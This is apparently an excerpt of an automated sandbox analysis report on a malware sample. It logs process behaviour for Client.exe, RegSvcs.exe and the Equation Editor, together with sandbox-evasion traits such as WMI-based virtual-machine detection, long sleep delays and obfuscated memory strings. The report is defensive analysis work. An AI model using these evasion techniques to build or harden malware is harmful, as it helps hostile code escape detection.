Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_BaseBoard

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1336	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1336	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3012	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe TID: 1552	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe TID: 2176	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe TID: 2364	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe TID: 2380	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2220	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2612	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Client.exe TID: 3044	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Client.exe TID: 2600	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\Client.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 9038	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 5153	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 8512

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\Client.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 30000

Source: Client.exe, 00000009.00000002.928434749.0000000002140000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: lQeMuGIULxzSSWBFvoGmFrytHnvtzMnrinyuvSjZQcGjDOtBUdtvkjXdoFFcKkpUJHFzXHecaBrdlOKNOPZ8A4HD
Source: Client.exe, 0000000C.00000002.984981021.0000000002680000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1002192486.0000000002680000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: lQeMuGIULxzSSWBFvoGmFrytHnvtzMnrinyuvSjZQcGjDOtBUdtvkjXdoFFcKkpUJHFzXHecaBrdlOKNOPZ
Source: Client.exe, 00000009.00000002.928434749.0000000002140000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.985003191.0000000002689000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1002238776.0000000002689000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dNzNYQSUljWcBlQqPDeHvVpwRwqGflvJnFDQLZGSGiFLHhruHXAHoctpsXQwaLozINpRhUfKShWMkeoEFQaeNzNYQSUljWcBlQqPDeHvVpwRwqGflvJnFDQLZGSGiFLHhruHXAHoctpsXQwaLozINpRhUfKShWMkeoEFQrhTNzNYQSUljWcBlQqPDeHvVpwRwqGflvJnFDQLZGSGiFLHhruHXAHoctpsXQwaLozINpRhUfKShWMkeoEFQemuNzNYQSUljWcBlQqPDeHvVpwRwqGflvJnFDQLZGSGiFLHhruHXAHoctpsXQwaLozINpRhUfKShWMkeoEFQseRNzNYQSUljWcBlQqPDeHvVpwRwqGflvJnFDQLZGSGiFLHhruHXAHoctpsXQwaLozINpRhUfKShWMkeoEFQ
